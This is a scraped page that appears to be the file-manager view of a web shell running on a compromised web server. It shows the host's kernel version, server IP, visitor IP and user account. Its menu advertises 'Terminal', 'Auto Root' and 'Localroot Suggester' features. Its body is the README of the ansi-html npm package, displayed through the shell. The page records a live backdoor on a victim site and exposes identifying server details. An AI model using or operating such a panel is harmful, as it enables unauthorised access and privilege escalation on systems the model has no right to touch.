Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.80.46
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp-musonza /
node_modules /
ansi-html /
Delete
Unzip
Name
Size
Permission
Date
Action
bin
[ DIR ]
drwxr-xr-x
2021-02-04 21:24
.npmignore
55
B
-rw-r--r--
2016-10-26 03:41
LICENSE
11.06
KB
-rw-r--r--
2014-12-15 04:05
README.md
1.36
KB
-rw-r--r--
2015-11-21 10:15
index.js
4.16
KB
-rw-r--r--
2017-01-02 04:14
package.json
1.57
KB
-rw-r--r--
2021-02-04 21:24
Save
Rename
ansi-html [](http://badge.fury.io/js/ansi-html) [](https://travis-ci.org/Tjatse/ansi-html) ========= An elegant lib that converts the chalked (ANSI) text to HTML. # Coverage - All styles of [chalk](https://github.com/sindresorhus/chalk) (100%) and [colors](https://github.com/Marak/colors.js). - There are over **150** randomized test cases under `test`. # Installation ``` $ npm install ansi-html ``` # Usage ```javascript var ansiHTML = require('ansi-html'); var str = ansiHTML('[ANSI_TEXT]'); ``` e.g.: ```javascript var chalk = require('chalk'); var str = chalk.bold.red('foo') + ' bar'; console.log('[ANSI]', str) console.log('[HTML]', ansiHTML(str)); ``` See complete examples under `test` / `examples` directory. # Set Colors ```javascript ansiHTML.setColors({ reset: ['555', '666'], // FOREGROUND-COLOR or [FOREGROUND-COLOR] or [, BACKGROUND-COLOR] or [FOREGROUND-COLOR, BACKGROUND-COLOR] black: 'aaa', // String red: 'bbb', green: 'ccc', yellow: 'ddd', blue: 'eee', magenta: 'fff', cyan: '999', lightgrey: '888', darkgrey: '777' }); ``` # Reset ```javascript ansiHTML.reset(); ``` # Exposed Tags ```javascript var openTags = ansiHTML.tags.open; var closeTags = ansiHTML.tags.close; ``` # Test ``` $ npm install -l $ npm test ```